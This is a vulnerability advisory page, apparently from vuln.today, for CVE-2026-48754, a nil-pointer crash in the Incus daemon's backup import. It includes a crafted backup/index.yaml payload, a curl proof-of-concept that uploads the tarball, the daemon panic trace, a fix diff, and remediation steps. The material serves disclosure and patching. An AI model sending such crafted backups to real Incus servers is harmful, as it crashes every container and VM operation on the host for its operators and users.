Skip to main content

Incus CVE-2026-48754

| EUVDEUVD-2026-63981 LOW
NULL Pointer Dereference (CWE-476)
2026-06-26 https://github.com/lxc/incus GHSA-4xg6-52mh-fpw8
2.1
CVSS 4.0 · Vendor: https://github.com/lxc/incus

Severity by source

Vendor (https://github.com/lxc/incus) PRIMARY
2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
6.5 MEDIUM

Network-accessible REST API, low-privilege auth (can_create_instances, not admin), single-request crash with no confidentiality or integrity impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/lxc/incus).

CVSS VectorVendor: https://github.com/lxc/incus

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

3
CVSS changed
Aug 21, 2026 - 15:22 NVD
2.1 (LOW)
Source Code Evidence Fetched
Jun 26, 2026 - 19:25 vuln.today
Analysis Generated
Jun 26, 2026 - 19:25 vuln.today

DescriptionCVE.org

Summary

(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).

This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.

Vulnerable code

internal/server/storage/backend.go:9352-9412:

go
func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
    ...
    for _, disk := range srcBackup.Config.DependentVolumes {
        if disk == nil {                                  // ← d768f81 parent fix
            return errors.New("Bad dependent volume definition found in index")
        }
        ...
        snapshots := []string{}
        for _, snap := range disk.VolumeSnapshots {
            snapshots = append(snapshots, snap.Name)      // ← I-2 trigger: snap may be nil
        }

        bInfo := backup.Info{
            Project:          disk.Volume.Project,        // ← disk.Volume may be nil
            Name:             disk.Volume.Name,
            Backend:          disk.Pool.Driver,           // ← disk.Pool may be nil
            Pool:             disk.Pool.Name,
            ...
        }
        ...
        devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
        ...
    }
}

disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot - all yaml omitempty. YAML omission decodes to nil for each.

The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.

Reach

  1. Attacker is an authenticated client with can_create_instances on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.
  2. POST /1.0/instances with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml whose config: block has a non-nil container: (passes instances_post.go:854 if bInfo.Config nil || bInfo.Config.Container nil) and a dependent_volumes: list with a malformed entry.
  4. Chain: instancesPost -> createFromBackup:854 (Container guard passes) -> pool.CreateInstanceFromBackup -> backend.go:782 b.createDependentVolumesFromBackup -> backend.go:9374 snap.Name panics on the nil *api.StorageVolumeSnapshot element.
  5. incusd dies. Persistent DoS on repeat.

Minimal backup/index.yaml (used in the bundled PoC):

yaml
name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
  container:
    name: poc-inst
    architecture: x86_64
    type: container
    profiles: ["default"]
    config: {}
    devices: {}
    expanded_devices:
      depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
    expanded_config: {}
  dependent_volumes:
    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
      pool:   {name: default, driver: dir, config: {}}
      volume_snapshots:
        - ~
# explicit null entry → snap.Name at 9374 panics

(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)

An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.

bash
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-inst.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-inst' \
    http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep
# process gone

Daemon panic:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]

goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
    /build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
    /build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c

Stack frame backend.go:9374 is the literal snap.Name line.

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_instances on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 - Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
  • Versions: v7.0.0 confirmed. The dependent_volumes feature did not exist in v6.x, so the vulnerable code is v7-only.

Suggested fix

diff
--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
     for _, disk := range srcBackup.Config.DependentVolumes {
         if disk == nil {
             return errors.New("Bad dependent volume definition found in index")
         }
+
+        if disk.Volume == nil || disk.Pool == nil {
+            return errors.New("Bad dependent volume definition: missing volume or pool")
+        }
+
+        for _, snap := range disk.VolumeSnapshots {
+            if snap == nil {
+                return errors.New("Bad dependent volume snapshot definition")
+            }
+        }
+
         optimizedStorage := srcBackup.OptimizedStorage
         optimizedHeader := srcBackup.OptimizedHeader

         snapshots := []string{}
         for _, snap := range disk.VolumeSnapshots {
             snapshots = append(snapshots, snap.Name)
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

AnalysisAI

Nil-pointer dereference in Incus daemon (incusd) v7.0.0 allows any authenticated user holding the low-privilege can_create_instances permission to crash the entire incusd process with a single crafted HTTP request. The flaw resides in createDependentVolumesFromBackup (backend.go:9352-9412), where a prior partial fix (commit d768f81c) guarded only the outer loop variable but left three inner sub-fields - disk.Volume, disk.Pool, and disk.VolumeSnapshots[i] - unguarded against nil; an uploaded backup tarball with a null snapshot entry or omitted volume/pool block triggers a Go panic, taking down all container and VM operations on the host. No public exploit identified at time of analysis per CISA KEV, though a working 666-byte proof-of-concept tarball is publicly bundled with the report and was confirmed against the production 7.0.0 release.

Technical ContextAI

The vulnerable function (*backend).createDependentVolumesFromBackup is implemented in Go within package github.com/lxc/incus/v7/cmd/incusd, identified by CPE pkg:go/github.com_lxc_incus_v7_cmd_incusd for versions prior to 7.1.0. The dependent_volumes feature was introduced in Incus v7 and does not exist in v6.x, making the vulnerable code path v7-only. The backup import endpoint (POST /1.0/instances with Content-Type: application/octet-stream) deserializes a YAML backup/index.yaml from a client-supplied tar archive. The dependent_volumes[*] entries decode into *config.Config structs whose sub-fields - Volume *api.StorageVolume, Pool *api.StoragePool, and VolumeSnapshots []*api.StorageVolumeSnapshot - are all declared with YAML omitempty, meaning omission or explicit null (~) decodes to nil. A prior commit (d768f81c0a1d985f35ae56219519822b080bf5e3, 'Properly check dependent volumes on import') added a guard only for the outer disk pointer; the four inner dereferences at lines 9374, 9378, 9380, and 9384 remain unguarded. CWE-476 (NULL Pointer Dereference) is the root cause class - Go panics on nil pointer dereference with a SIGSEGV, terminating the goroutine and crashing the daemon process.

RemediationAI

Upgrade incusd to version 7.1.0 or later, which contains the upstream fix per vendor advisory GHSA-4xg6-52mh-fpw8 (https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8). The fix adds explicit nil guards for disk.Volume, disk.Pool, and each VolumeSnapshots[i] element before any dereference inside the loop body in internal/server/storage/backend.go. If immediate upgrade to 7.1.0 is not possible, restrict can_create_instances permission to trusted users only - removing this grant from untrusted principals eliminates the attack surface entirely, since unauthenticated users cannot reach the vulnerable code path. If the Incus API is exposed on the network port :8443, restrict access via firewall or TLS mutual authentication to trusted client certificates; the unix socket (/var/lib/incus/unix.socket) already requires OS-level user access and is inherently more constrained. Note that revoking can_create_instances will block legitimate instance import workflows for affected users, so coordinate with project owners before applying this workaround.

Share

CVE-2026-48754 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy